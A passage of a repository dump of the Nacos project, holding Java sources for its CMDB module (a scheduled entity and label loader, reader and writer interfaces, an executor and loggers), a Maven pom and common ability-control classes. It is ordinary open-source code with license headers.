    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.cmdb.memory;\n\nimport com.alibaba.nacos.api.cmdb.pojo.Entity;\nimport com.alibaba.nacos.api.cmdb.pojo.EntityEvent;\nimport com.alibaba.nacos.api.cmdb.pojo.Label;\nimport com.alibaba.nacos.api.cmdb.spi.CmdbService;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.cmdb.core.SwitchAndOptions;\nimport com.alibaba.nacos.cmdb.service.CmdbReader;\nimport com.alibaba.nacos.cmdb.service.CmdbWriter;\nimport com.alibaba.nacos.cmdb.utils.CmdbExecutor;\nimport com.alibaba.nacos.cmdb.utils.Loggers;\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.PostConstruct;\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * CMDB provider.\n *\n * @author nkorange\n * @since 0.7.0\n */\n@Component\npublic class CmdbProvider implements CmdbReader, CmdbWriter {\n    \n    @Autowired\n    private SwitchAndOptions switches;\n    \n    private CmdbService cmdbService;\n    \n    private final Collection<CmdbService> services = NacosServiceLoader.load(CmdbService.class);\n    \n    private Map<String, Map<String, Entity>> entityMap = new ConcurrentHashMap<>();\n    \n    private Map<String, Label> labelMap = new ConcurrentHashMap<>();\n    \n    private Set<String> entityTypeSet = new HashSet<>();\n    \n    private long eventTimestamp = System.currentTimeMillis();\n    \n    public CmdbProvider() throws NacosException {\n    }\n    \n    private void initCmdbService() throws NacosException {\n        Iterator<CmdbService> iterator = services.iterator();\n        if (iterator.hasNext()) {\n            cmdbService = iterator.next();\n        }\n        \n        if (cmdbService == null && switches.isLoadDataAtStart()) {\n            throw new NacosException(NacosException.SERVER_ERROR, \"Cannot initialize CmdbService!\");\n        }\n    }\n    \n    /**\n     * load data.\n     */\n    public void load() {\n        \n        if (!switches.isLoadDataAtStart()) {\n            return;\n        }\n        \n        // init label map:\n        Set<String> labelNames = cmdbService.getLabelNames();\n        if (labelNames == null || labelNames.isEmpty()) {\n            Loggers.MAIN.warn(\"[LOAD] init label names failed!\");\n        } else {\n            for (String labelName : labelNames) {\n                // If get null label, it's still ok. We will try it later when we meet this label:\n                labelMap.put(labelName, cmdbService.getLabel(labelName));\n            }\n        }\n        \n        // init entity type set:\n        entityTypeSet = cmdbService.getEntityTypes();\n        \n        // init entity map:\n        entityMap = cmdbService.getAllEntities();\n    }\n    \n    /**\n     * Init, called by spring.\n     *\n     * @throws NacosException nacos exception\n     */\n    @PostConstruct\n    public void init() throws NacosException {\n        \n        initCmdbService();\n        load();\n        \n        CmdbExecutor.scheduleCmdbTask(new CmdbDumpTask(), switches.getDumpTaskInterval(), TimeUnit.SECONDS);\n        CmdbExecutor.scheduleCmdbTask(new CmdbLabelTask(), switches.getLabelTaskInterval(), TimeUnit.SECONDS);\n        CmdbExecutor.scheduleCmdbTask(new CmdbEventTask(), switches.getEventTaskInterval(), TimeUnit.SECONDS);\n    }\n    \n    @Override\n    public Entity queryEntity(String entityName, String entityType) {\n        if (!entityMap.containsKey(entityType)) {\n            return null;\n        }\n        return entityMap.get(entityType).get(entityName);\n    }\n    \n    @Override\n    public String queryLabel(String entityName, String entityType, String labelName) {\n        Entity entity = queryEntity(entityName, entityType);\n        if (entity == null) {\n            return null;\n        }\n        return entity.getLabels().get(labelName);\n    }\n    \n    @Override\n    public List<Entity> queryEntitiesByLabel(String labelName, String labelValue) {\n        throw new UnsupportedOperationException(\"Not available now!\");\n    }\n    \n    /**\n     * Remove CMDB entity.\n     *\n     * @param entityName entity name\n     * @param entityType entity type\n     */\n    public void removeEntity(String entityName, String entityType) {\n        if (!entityMap.containsKey(entityType)) {\n            return;\n        }\n        entityMap.get(entityType).remove(entityName);\n    }\n    \n    /**\n     * Update entity.\n     *\n     * @param entity entity\n     */\n    public void updateEntity(Entity entity) {\n        if (!entityTypeSet.contains(entity.getType())) {\n            return;\n        }\n        entityMap.get(entity.getType()).put(entity.getName(), entity);\n    }\n    \n    public class CmdbLabelTask implements Runnable {\n        \n        @Override\n        public void run() {\n            \n            Loggers.MAIN.debug(\"LABEL-TASK {}\", \"start dump.\");\n            \n            if (cmdbService == null) {\n                return;\n            }\n            \n            try {\n                \n                Map<String, Label> tmpLabelMap = new HashMap<>(16);\n                \n                Set<String> labelNames = cmdbService.getLabelNames();\n                if (labelNames == null || labelNames.isEmpty()) {\n                    Loggers.MAIN.warn(\"CMDB-LABEL-TASK {}\", \"load label names failed!\");\n                } else {\n                    for (String labelName : labelNames) {\n                        // If get null label, it's still ok. We will try it later when we meet this label:\n                        tmpLabelMap.put(labelName, cmdbService.getLabel(labelName));\n                    }\n                    \n                    if (Loggers.MAIN.isDebugEnabled()) {\n                        Loggers.MAIN.debug(\"LABEL-TASK {}\", \"got label map:\" + JacksonUtils.toJson(tmpLabelMap));\n                    }\n                    \n                    labelMap = tmpLabelMap;\n                }\n                \n            } catch (Exception e) {\n                Loggers.MAIN.error(\"CMDB-LABEL-TASK {}\", \"dump failed!\", e);\n            } finally {\n                CmdbExecutor.scheduleCmdbTask(this, switches.getLabelTaskInterval(), TimeUnit.SECONDS);\n            }\n        }\n    }\n    \n    public class CmdbDumpTask implements Runnable {\n        \n        @Override\n        public void run() {\n            \n            try {\n                \n                Loggers.MAIN.debug(\"DUMP-TASK {}\", \"start dump.\");\n                \n                if (cmdbService == null) {\n                    return;\n                }\n                // refresh entity map:\n                entityMap = cmdbService.getAllEntities();\n            } catch (Exception e) {\n                Loggers.MAIN.error(\"DUMP-TASK {}\", \"dump failed!\", e);\n            } finally {\n                CmdbExecutor.scheduleCmdbTask(this, switches.getDumpTaskInterval(), TimeUnit.SECONDS);\n            }\n        }\n    }\n    \n    public class CmdbEventTask implements Runnable {\n        \n        @Override\n        public void run() {\n            try {\n                \n                Loggers.MAIN.debug(\"EVENT-TASK {}\", \"start dump.\");\n                \n                if (cmdbService == null) {\n                    return;\n                }\n                \n                long current = System.currentTimeMillis();\n                List<EntityEvent> events = cmdbService.getEntityEvents(eventTimestamp);\n                eventTimestamp = current;\n                \n                if (Loggers.MAIN.isDebugEnabled()) {\n                    Loggers.MAIN.debug(\"EVENT-TASK {}\", \"got events size:\" + \", events:\" + JacksonUtils.toJson(events));\n                }\n                \n                if (events != null && !events.isEmpty()) {\n                    \n                    for (EntityEvent event : events) {\n                        switch (event.getType()) {\n                            case ENTITY_REMOVE:\n                                removeEntity(event.getEntityName(), event.getEntityType());\n                                break;\n                            case ENTITY_ADD_OR_UPDATE:\n                                updateEntity(cmdbService.getEntity(event.getEntityName(), event.getEntityType()));\n                                break;\n                            default:\n                                break;\n                        }\n                    }\n                }\n                \n            } catch (Exception e) {\n                Loggers.MAIN.error(\"CMDB-EVENT {}\", \"event task failed!\", e);\n            } finally {\n                CmdbExecutor.scheduleCmdbTask(this, switches.getEventTaskInterval(), TimeUnit.SECONDS);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "cmdb/src/main/java/com/alibaba/nacos/cmdb/service/CmdbReader.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.cmdb.service;\n\nimport com.alibaba.nacos.api.cmdb.pojo.Entity;\n\nimport java.util.List;\n\n/**\n * CMDB Reader.\n *\n * @author nkorange\n * @since 0.7.0\n */\npublic interface CmdbReader {\n    \n    /**\n     * Get entity.\n     *\n     * @param entityName name of entity\n     * @param entityType type of entity\n     * @return entity\n     */\n    Entity queryEntity(String entityName, String entityType);\n    \n    /**\n     * Get label of entity.\n     *\n     * @param entityName name of entity\n     * @param entityType type of entity\n     * @param labelName  label name\n     * @return label value\n     */\n    String queryLabel(String entityName, String entityType, String labelName);\n    \n    /**\n     * Get entities of selected label.\n     *\n     * @param labelName  name of label\n     * @param labelValue value of label\n     * @return list of entity\n     */\n    List<Entity> queryEntitiesByLabel(String labelName, String labelValue);\n}\n"
  },
  {
    "path": "cmdb/src/main/java/com/alibaba/nacos/cmdb/service/CmdbWriter.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.cmdb.service;\n\n/**\n * CMDB writer.\n *\n * @author nkorange\n * @since 0.7.0\n */\npublic interface CmdbWriter {\n\n}\n"
  },
  {
    "path": "cmdb/src/main/java/com/alibaba/nacos/cmdb/utils/CmdbExecutor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.cmdb.utils;\n\nimport com.alibaba.nacos.cmdb.CmdbApp;\nimport com.alibaba.nacos.common.executor.ExecutorFactory;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.core.utils.ClassUtils;\nimport com.alibaba.nacos.sys.env.EnvUtil;\n\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Cmdb executor.\n *\n * @author wangweizZZ\n * @date 2020/7/13 1:54 PM\n */\npublic class CmdbExecutor {\n    \n    private static final ScheduledExecutorService GLOBAL_EXECUTOR = ExecutorFactory.Managed\n            .newScheduledExecutorService(ClassUtils.getCanonicalName(CmdbApp.class), EnvUtil.getAvailableProcessors(),\n                    new NameThreadFactory(\"com.alibaba.nacos.cmdb.global.executor\"));\n    \n    public static void scheduleCmdbTask(Runnable runnable, long delay, TimeUnit unit) {\n        GLOBAL_EXECUTOR.schedule(runnable, delay, unit);\n    }\n}\n"
  },
  {
    "path": "cmdb/src/main/java/com/alibaba/nacos/cmdb/utils/Loggers.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.cmdb.utils;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Loggers holder.\n *\n * @author nacos\n * @since 0.7.0\n */\npublic class Loggers {\n    \n    public static final Logger MAIN = LoggerFactory.getLogger(\"com.alibaba.nacos.cmdb.main\");\n}\n"
  },
  {
    "path": "cmdb/src/main/java/com/alibaba/nacos/cmdb/utils/UtilsAndCommons.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.cmdb.utils;\n\n/**\n * Utils and constants.\n *\n * @author nkorange\n * @since 0.7.0\n */\npublic class UtilsAndCommons {\n    \n    private static final String NACOS_SERVER_VERSION = \"/v1\";\n    \n    public static final String NACOS_CMDB_CONTEXT = NACOS_SERVER_VERSION + \"/cmdb\";\n    \n}\n"
  },
  {
    "path": "codecov.yml",
    "content": "comment:\n  behavior: default\n  layout: reach,diff,flags,files,footer\n  require_changes: false\n"
  },
  {
    "path": "common/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2023 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    \n    <parent>\n        <groupId>com.alibaba.nacos</groupId>\n        <artifactId>nacos-all</artifactId>\n        <version>${revision}</version>\n        <relativePath>../pom.xml</relativePath>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n    \n    <artifactId>nacos-common</artifactId>\n    <packaging>jar</packaging>\n    \n    <name>nacos-common ${project.version}</name>\n    <url>https://nacos.io</url>\n    <description>Nacos common pom.xml file</description>\n    \n    <properties>\n        <maven.compiler.source>${client.java.version}</maven.compiler.source>\n        <maven.compiler.target>${client.java.version}</maven.compiler.target>\n    </properties>\n    \n    <dependencies>\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-api</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>commons-io</groupId>\n            <artifactId>commons-io</artifactId>\n        </dependency>\n        \n        <!-- issue#12028 upgrade org.apache.httpcomponents:httpasyncclient to org.apache.httpcomponents.client5:httpclient5 -->\n        <dependency>\n            <groupId>org.apache.httpcomponents.client5</groupId>\n            <artifactId>httpclient5</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-api</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-core</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>commons-logging</groupId>\n            <artifactId>commons-logging</artifactId>\n            <version>1.2</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.mysql</groupId>\n            <artifactId>mysql-connector-j</artifactId>\n            <scope>test</scope>\n        </dependency>\n    \n    </dependencies>\n    <build>\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n                <filtering>true</filtering>\n                <includes>\n                    <include>nacos-version.txt</include>\n                    <include>META-INF/services/*</include>\n                </includes>\n            </resource>\n        </resources>\n        <pluginManagement>\n            <plugins>\n                <plugin>\n                    <artifactId>maven-compiler-plugin</artifactId>\n                    <version>${maven-compiler-plugin.version}</version>\n                    <configuration>\n                        <source>${client.java.version}</source>\n                        <target>${client.java.version}</target>\n                        <compilerVersion>${client.java.version}</compilerVersion>\n                        <showDeprecation>true</showDeprecation>\n                        <showWarnings>true</showWarnings>\n                        <compilerArgs>\n                            <arg>-parameters</arg>\n                        </compilerArgs>\n                    </configuration>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n        <plugins>\n            <plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/Beta.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * Means a class or method is in beta version.\n *\n * @author wuzhiguo\n */\n@Documented\n@Target({ElementType.TYPE, ElementType.METHOD})\n@Retention(RetentionPolicy.SOURCE)\npublic @interface Beta {\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/JustForTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common;\n\n/**\n * Just for test.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic @interface JustForTest {\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/NotThreadSafe.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * Annotation that marks a method as not thread safe.\n *\n * @author zongtanghu\n */\n@Documented\n@Target({ElementType.TYPE, ElementType.METHOD})\n@Retention(RetentionPolicy.SOURCE)\npublic @interface NotThreadSafe {\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/ability/AbstractAbilityControlManager.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.ability;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.ability.initializer.AbilityPostProcessor;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * It is a capability control center, manager current node abilities or other control.\n *\n * @author Daydreamer\n * @date 2022/7/12 19:18\n **/\npublic abstract class AbstractAbilityControlManager {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(AbstractAbilityControlManager.class);\n    \n    /**\n     * current node support abilities.\n     */\n    protected final Map<AbilityMode, Map<String, Boolean>> currentNodeAbilities = new ConcurrentHashMap<>();\n    \n    protected AbstractAbilityControlManager() {\n        NotifyCenter.registerToPublisher(AbilityUpdateEvent.class, 16384);\n        initAbilityTable();\n    }\n    \n    /**\n     * initialize abilities.\n     */\n    private void initAbilityTable() {\n        LOGGER.info(\"Ready to get current node abilities...\");\n        // get processors\n        Map<AbilityMode, Map<AbilityKey, Boolean>> abilities = initCurrentNodeAbilities();\n        // get abilities\n        for (AbilityMode mode : AbilityMode.values()) {\n            Map<AbilityKey, Boolean> abilitiesTable = abilities.get(mode);\n            if (abilitiesTable == null) {\n                continue;\n            }\n            // check whether exist error key\n            // check for developer\n            for (AbilityKey abilityKey : abilitiesTable.keySet()) {\n                if (!mode.equals(abilityKey.getMode())) {\n                    LOGGER.error(\n                            \"You should not contain a other mode: {} in a specify mode: {} abilities set, error key: {}, please check again.\",\n                            abilityKey.getMode(), mode, abilityKey);\n                    throw new IllegalStateException(\n                            \"Except mode: \" + mode + \" but \" + abilityKey + \" mode: \" + abilityKey.getMode()\n                                    + \", please check again.\");\n                }\n            }\n            Collection<AbilityPostProcessor> processors = NacosServiceLoader.load(AbilityPostProcessor.class);\n            for (AbilityPostProcessor processor : processors) {\n                processor.process(mode, abilitiesTable);\n            }\n        }\n        // init\n        Set<AbilityMode> abilityModes = abilities.keySet();\n        LOGGER.info(\"Ready to initialize current node abilities, support modes: {}\", abilityModes);\n        for (AbilityMode abilityMode : abilityModes) {\n            this.currentNodeAbilities\n                    .put(abilityMode, new ConcurrentHashMap<>(AbilityKey.mapStr(abilities.get(abilityMode))));\n        }\n        LOGGER.info(\"Initialize current abilities finish...\");\n    }\n    \n    /**\n     * Turn on the ability whose key is <p>abilityKey</p>.\n     *\n     * @param abilityKey ability key{@link AbilityKey}\n     */\n    public void enableCurrentNodeAbility(AbilityKey abilityKey) {\n        Map<String, Boolean> abilities = this.currentNodeAbilities.get(abilityKey.getMode());\n        if (abilities != null) {\n            doTurn(abilities, abilityKey, true);\n        }\n    }\n    \n    protected void doTurn(Map<String, Boolean> abilities, AbilityKey key, boolean turn) {\n        LOGGER.info(\"Turn current node ability: {}, turn: {}\", key, turn);\n        abilities.put(key.getName(), turn);\n        // notify event\n        AbilityUpdateEvent abilityUpdateEvent = new AbilityUpdateEvent();\n        abilityUpdateEvent.setTable(Collections.unmodifiableMap(abilities));\n        abilityUpdateEvent.setOn(turn);\n        abilityUpdateEvent.setAbilityKey(key);\n        NotifyCenter.publishEvent(abilityUpdateEvent);\n    }\n    \n    /**\n     * Turn off the ability whose key is <p>abilityKey</p> {@link AbilityKey}.\n     *\n     * @param abilityKey ability key\n     */\n    public void disableCurrentNodeAbility(AbilityKey abilityKey) {\n        Map<String, Boolean> abilities = this.currentNodeAbilities.get(abilityKey.getMode());\n        if (abilities != null) {\n            doTurn(abilities, abilityKey, false);\n        }\n    }\n    \n    /**\n     * . Whether current node support\n     *\n     * @param abilityKey ability key from {@link AbilityKey}\n     * @return whether support\n     */\n    public AbilityStatus isCurrentNodeAbilityRunning(AbilityKey abilityKey) {\n        Map<String, Boolean> abilities = currentNodeAbilities.get(abilityKey.getMode());\n        if (abilities != null) {\n            Boolean support = abilities.get(abilityKey.getName());\n            if (support != null) {\n                return support ? AbilityStatus.SUPPORTED : AbilityStatus.NOT_SUPPORTED;\n            }\n        }\n        return AbilityStatus.UNKNOWN;\n    }\n    \n    /**\n     * . Init current node abilities\n     *\n     * @return current node abilities\n     */\n    protected abstract Map<AbilityMode, Map<AbilityKey, Boolean>> initCurrentNodeAbilities();\n    \n    /**\n     * . Return the abilities current node\n     *\n     * @return current abilities\n     */\n    public Map<String, Boolean> getCurrentNodeAbilities(AbilityMode mode) {\n        Map<String, Boolean> abilities = currentNodeAbilities.get(mode);\n        if (abilities != null) {\n            return Collections.unmodifiableMap(abilities);\n        }\n        return Collections.emptyMap();\n    }\n    \n    /**\n     * A legal nacos application has a ability control manager. If there are more than one, the one with higher priority\n     * is preferred\n     *\n     * @return priority\n     */\n    public abstract int getPriority();\n    \n    /**\n     * notify when current node ability changing.\n     */\n    public static class AbilityUpdateEvent extends Event {\n        \n        private static final long serialVersionUID = -1232411212311111L;\n        \n        private AbilityKey abilityKey;\n        \n        private boolean isOn;\n        \n        private Map<String, Boolean> table;\n        \n        private AbilityUpdateEvent() {\n        }\n        \n        public Map<String, Boolean> getAbilityTable() {\n            return table;\n        }\n        \n        public void setTable(Map<String, Boolean> abilityTable) {\n            this.table = abilityTable;\n        }\n        \n        public AbilityKey getAbilityKey() {\n            return abilityKey;\n        }\n        \n        public void setAbilityKey(AbilityKey abilityKey) {\n            this.abilityKey = abilityKey;\n        }\n        \n        public boolean isOn() {\n            return isOn;\n        }\n        \n        public void setOn(boolean on) {\n            isOn = on;\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/ability/discover/NacosAbilityManagerHolder.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.ability.discover;\n\nimport com.alibaba.nacos.common.ability.AbstractAbilityControlManager;\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Collection;\nimport java.util.Comparator;\nimport java.util.List;\nimport java.util.stream.Collectors;\n\n/**\n * This class is used to discover {@link AbstractAbilityControlManager} implements. All the ability operation will be\n * finish in this singleton.\n *\n * @author Daydreamer\n * @date 2022/7/14 19:58\n **/\npublic class NacosAbilityManagerHolder {\n    \n    /**\n     * . private constructor\n     */\n    private NacosAbilityManagerHolder() {\n    }\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(NacosAbilityManagerHolder.class);\n    \n    /**\n     * . singleton\n     */\n    private static AbstractAbilityControlManager abstractAbilityControlManager;\n    \n    /**\n     * . get nacos ability control manager\n     *\n     * @return BaseAbilityControlManager\n     */\n    public static synchronized AbstractAbilityControlManager getInstance() {\n        if (null == abstractAbilityControlManager) {\n            initAbilityControlManager();\n        }\n        return abstractAbilityControlManager;\n    }\n    \n    /**\n     * . Return the target type of ability manager\n     *\n     * @param clazz clazz\n     * @param <T>   target type\n     * @return AbilityControlManager\n     */\n    public static <T extends AbstractAbilityControlManager> T getInstance(Class<T> clazz) {\n        return clazz.cast(abstractAbilityControlManager);\n    }\n    \n    private static void initAbilityControlManager() {\n        // spi discover implement\n        Collection<AbstractAbilityControlManager> load = null;\n        load = NacosServiceLoader.load(AbstractAbilityControlManager.class);\n        // the priority of the server is higher\n        List<AbstractAbilityControlManager> collect = load.stream()\n                .sorted(Comparator.comparingInt(AbstractAbilityControlManager::getPriority))\n                .collect(Collectors.toList());\n        // get the highest priority one\n        if (load.size() > 0) {\n            abstractAbilityControlManager = collect.get(collect.size() - 1);\n            LOGGER.info(\"[AbilityControlManager] Successfully initialize AbilityControlManager\");\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/codec/Base64.java",
